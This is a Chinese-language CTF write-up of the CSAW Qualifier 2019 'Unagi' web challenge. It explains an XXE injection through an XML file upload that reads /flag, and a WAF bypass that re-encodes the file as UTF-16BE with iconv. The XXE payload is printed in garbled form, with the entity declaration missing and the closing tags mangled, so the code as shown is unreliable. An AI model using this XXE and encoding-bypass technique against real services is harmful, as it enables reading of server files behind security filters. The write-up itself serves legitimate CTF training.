[CSAWQual 2019]Web_Unagi - 文件上传+XXE注入(XML编码绕过)

[CSAWQual 2019]Web_Unagi

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题
  • 2 思考总结

[CSAWQual 2019]Web_Unagi - 文件上传+XXE注入(XML编码绕过)_第1张图片

1 解题流程

这篇博客讲了xml进行编码转换绕过的原理:https://www.shawroot.cc/156.html

1.1 分析

  1. 页面可以上传,上传一句话php失败,点击示例发现是xml格式,那么就是XXE注入了
    [CSAWQual 2019]Web_Unagi - 文件上传+XXE注入(XML编码绕过)_第2张图片
  2. 点击about得到flag位置: Flag is located at /flag, come get it

1.2 解题

  1. 编写XXE注入文件,以xml结尾
    
    DOCTYPE users [
    ]>
    或
    ]>
    <users>
    	<user>
    		<username>bobusername>
    		<password>passwd2password>
    		<name>Bobname>
    		<email>[email protected]email>  
    		<group>CSAW2019group>
    		<intro>&xxe;intro>
    	user>
    users>
    
  2. 尝试上传,发现还是被拦截了,这时候可以查询如何绕过WAF
    xml文档不仅可以用UTF-8编码,也可以用UTF-16、UTF-32和EBCDIC编码。
    在这些编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
    在linux中使用命令将xml转换为16进制
    cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml
  3. 上传即可获取flag
    flag{5325a120-326c-4829-8778-22c54362a7b4}

2 思考总结

编写xml注意点:
1、属性名大小写要区分
2、flag很长,放在其他属性中只能输出部分,而intro意为introduce个人简介,可以输出长内容

你可能感兴趣的:(CTF-WEB,web安全,安全,ctf,xml,xxe注入,编码绕过,文件上传)